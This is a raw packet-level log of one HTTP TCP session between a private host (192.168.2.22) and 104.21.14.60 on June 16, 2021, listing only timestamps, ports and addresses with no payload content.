Jun 16, 2021 12:05:15.382046938 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.382669926 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.382687092 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.382994890 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.383008003 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.412724972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.412941933 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.412969112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.412988901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413007975 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413023949 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413042068 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413067102 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413083076 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.413089037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413105965 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.413111925 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413134098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413156033 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413178921 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413198948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413212061 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.413225889 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.413777113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413800955 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413810968 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.413824081 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413829088 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.413847923 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413877010 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413899899 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.413899899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413923979 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.413927078 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.414663076 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.414707899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.414731979 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.414736986 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.414757967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.414781094 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.414802074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.414823055 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.414829969 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.414853096 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.414920092 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.414927006 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.415572882 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.415601015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.415622950 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.415643930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.415664911 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.415688992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.415714025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.415747881 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.415977955 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.422768116 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.422799110 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.422825098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.422849894 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.422873974 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.422889948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.422915936 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.426350117 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.510876894 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.510911942 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.510948896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.510967016 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.510983944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.511006117 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.511023045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.511035919 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.511205912 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.511229038 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.511245966 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.511275053 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.511296988 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.511317015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.511337996 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.511359930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.511364937 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.512110949 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.512137890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.512164116 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.512168884 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.512187958 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.512193918 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.512209892 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.512233019 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.512249947 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.512254000 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.512273073 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.513020992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.513053894 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.513078928 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.513098955 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.513120890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.513140917 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.513161898 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.513169050 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.513922930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.513951063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.514640093 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.515256882 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515288115 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515309095 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515336037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515357971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515377998 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515377998 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.515398979 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515419960 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515440941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515471935 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515492916 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.515494108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515515089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515743971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515768051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515789032 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515789986 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.515810966 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515846014 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515861988 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515880108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.515899897 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.516676903 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.516700029 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.516715050 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.516733885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.516751051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.516767025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.516782045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.516804934 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.517533064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.517553091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.517555952 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.517570019 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.517589092 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.517606974 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.517622948 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.517626047 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.517642021 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.517647028 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.518471003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.518493891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.518512011 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.518524885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.518537998 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.518549919 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.518562078 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.519351006 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.519377947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.519391060 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.519402981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.519414902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.519416094 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.519428015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.519445896 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.519784927 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.520121098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.520143986 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.520164013 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.520183086 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.520199060 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.520209074 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.520215034 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.520234108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.520236015 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.520256042 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.521035910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.521054983 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.521070957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.521087885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.521121979 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.521137953 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.521152973 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.521158934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.521220922 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.521945000 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.521962881 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.521977901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.522001028 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.522018909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.522027969 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.522036076 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.522053957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.522073984 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.522193909 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.522874117 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.522891998 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.522907972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.522927999 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.522945881 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.522962093 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.522967100 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.522979021 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.523003101 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.523797035 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.523818970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.523837090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.523853064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.523869991 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.523880959 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.523890018 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.523902893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.523910046 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.523993969 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.524652004 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.524672985 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.524684906 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.524698019 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.524710894 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.524724007 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.524743080 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.524770021 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.524815083 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.525542974 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.525559902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.525572062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.525582075 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.525588989 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.525603056 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.525615931 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.525702000 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.525718927 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.526367903 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.555286884 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555316925 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555332899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555350065 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555365086 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555382967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555398941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555442095 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.555471897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555494070 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.555545092 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555562973 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555852890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555876017 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555886030 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.555896044 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555915117 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555932045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555948973 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.555953026 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.555964947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.556353092 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.556749105 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.556771040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.556787968 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.556804895 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.556821108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.556838989 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.556859016 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.556864023 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.556876898 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.557303905 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.557646036 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.557670116 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.557688951 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.557706118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.557722092 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.557729959 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.557739019 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.557740927 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.557755947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.557996035 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.558584929 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.558608055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.558629036 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.558646917 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.558662891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.558666945 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.558679104 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.558696032 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.559197903 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.559490919 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.559526920 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.559545040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.559561014 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.559576988 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.559580088 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.559593916 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.559611082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.559638023 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.560419083 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.560442924 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.560461044 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.560477018 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.560492992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.560502052 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.560509920 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.560528994 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.560550928 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.561311007 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.561333895 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.561350107 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.561369896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.561387062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.561403036 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.561419010 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.561428070 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.561450005 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.562158108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.562179089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.562211990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.562228918 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.562242985 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.562251091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.562268019 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.562283039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.562361956 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.563142061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.563167095 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.563184977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.563200951 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.563218117 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.563234091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.563250065 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.563262939 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.563287020 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.564007044 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.564030886 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.564049006 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.564064980 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.564081907 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.564091921 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.564097881 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.564105034 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.564749956 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.564774990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.564793110 CEST	80	49168	104.21.14.60	192.168.2.22
